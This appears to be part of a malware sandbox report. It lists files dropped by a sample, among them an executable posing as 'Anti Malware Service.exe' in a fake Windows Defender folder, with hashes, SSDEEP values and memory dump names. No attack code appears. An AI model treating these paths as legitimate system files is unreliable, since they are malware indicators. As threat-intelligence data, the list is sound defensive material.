SHA256 87570ea322dea37a6701b524262a55f734114832f65278e44939aae2441a8acc
MD5 90ff56b4b49a19829c55be4740d3d12f
SHA1 f6680d7c2503c0601216a8f25b293748d50cbc70
SHA512 916ee231cd3168b9d4e55cfecbd9cb10c4d9a5b0b99b194b0051dd3c0ca99841f455fb9ab55d05d4ccdb8677fdc86a9a977b72f2c237e511f6536f1313f810e7
MD5 SHA1 SHA512

Submit Download

Anti Malware Service.exe

Path C:\Users\Admin\AppData\Local\Windows Defender\Anti Malware Service.exe
Size 917KB
SHA256 3263283f59723e5487b128439d495da10b06f84a84793da717a35e0dd7e3b905
MD5 1837aea22a774bde2cd2eca02b5995a0
SHA1 c00b11f612716a5b9f282264538ddc2e041d8981
SHA512 9f479883cae36152dd2d2bf55e35d2ab05783e214479d12b957d316e4d3c16b63d9dfaf11f3752f9831c182f7c4b06261849042999bac4544fed4011c9fad67b
SSDEEP 12288:N6HsA+y/xZ/CxSQdRqGcpXxrbfwNs6SMut0OAB34W6fGwgmMcGwy:Nib+y/z/LQR1cpXYtmfGwiZwy
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 5799972ecce88fa3d251b970c5f1379fde540323c0097bac9466ae3ca47993b7
MD5 270796220a5fa3608f1f2f8aced4deb2
SHA1 a4f6aea3b0578670f542a46147ae31b764ae0bbb
SHA512 32bb1776b58a1063210d8cd797449978f4253ffd285e31afc10d56f369cf9cd7c659ba6276d1f19765d0b95600c0d8b19a7e27c771c40ee8786e946e9743eb37
SSDEEP 96:QFaCNM8DnqvsqvJCwomFaCNM8DnqvsEHyqvJCworo6nVIQHVF7NvXlUV5:0HXUomHXAHnorozYF7Nv6
MD5 SHA1 SHA512 SSDEEP

Submit Download

LOlC.exe

Path \Users\Admin\AppData\Local\LOlC.exe
Size 4.5MB
SHA256 10eb620d956a63295cd933a3bad5769b1f8b0eec8b3748569467c82fb61e295c
MD5 e6b7d05c7a4369dd9112959795bb3521
SHA1 80c60595def3cbb2d126e3c86c9a1b92572b55b7
SHA512 baa982104c839f9f0893dc2940b418fc64fcc9e964a2791c176f7e7795ee7732429287d84f5d37bea15882a6462eaa7f7996bf283a27a0718ee96054a396a806
SSDEEP 12288:fGwmSElj3YSz+KNnGIydXXX6qRSoQMu+al0Yd8RjI/BntEWX4StOa78lymTQqhdO:fG1SCj3dz++XUnX6qHR1IdmO4StOO7
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/688-197-0x000000013F450000-0x000000013F53B000-memory.dmp

Download

memory/908-217-0x0000000000560000-0x0000000000594000-memory.dmp

Download

memory/908-94-0x00000000010C0000-0x00000000010D6000-memory.dmp

Download

memory/1540-193-0x0000000000060000-0x0000000000061000-memory.dmp

Download

memory/1540-195-0x0000000000060000-0x0000000000061000-memory.dmp

Download

memory/2344-18-0x00000000000F0000-0x0000000000118000-memory.dmp

Download

memory/2560-34-0x000000001B670000-0x000000001B952000-memory.dmp

Download

memory/2560-35-0x00000000020F0000-0x00000000020F8000-memory.dmp

Download

memory/2852-28-0x00000000027E0000-0x00000000027E8000-memory.dmp

Download

memory/2852-27-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Download

memory/2912-54-0x000007FEF5650000-0x000007FEF603C000-memory.dmp

Download

memory/2912-22-0x000007FEF5650000-0x000007FEF603C000-memory.dmp

Download

memory/2912-14-0x0000000000F60000-0x0000000000F76000-memory.dmp

Download

memory/3036-172-0x000000013F8D0000-0x000000013FD57000-memory.dmp

Download

memory/3056-0-0x000007FEF5653000-0x000007FEF5654000-memory.dmp

Download

memory/3056-1-0x0000000000150000-0x000000000060E000-memory.dmp

Download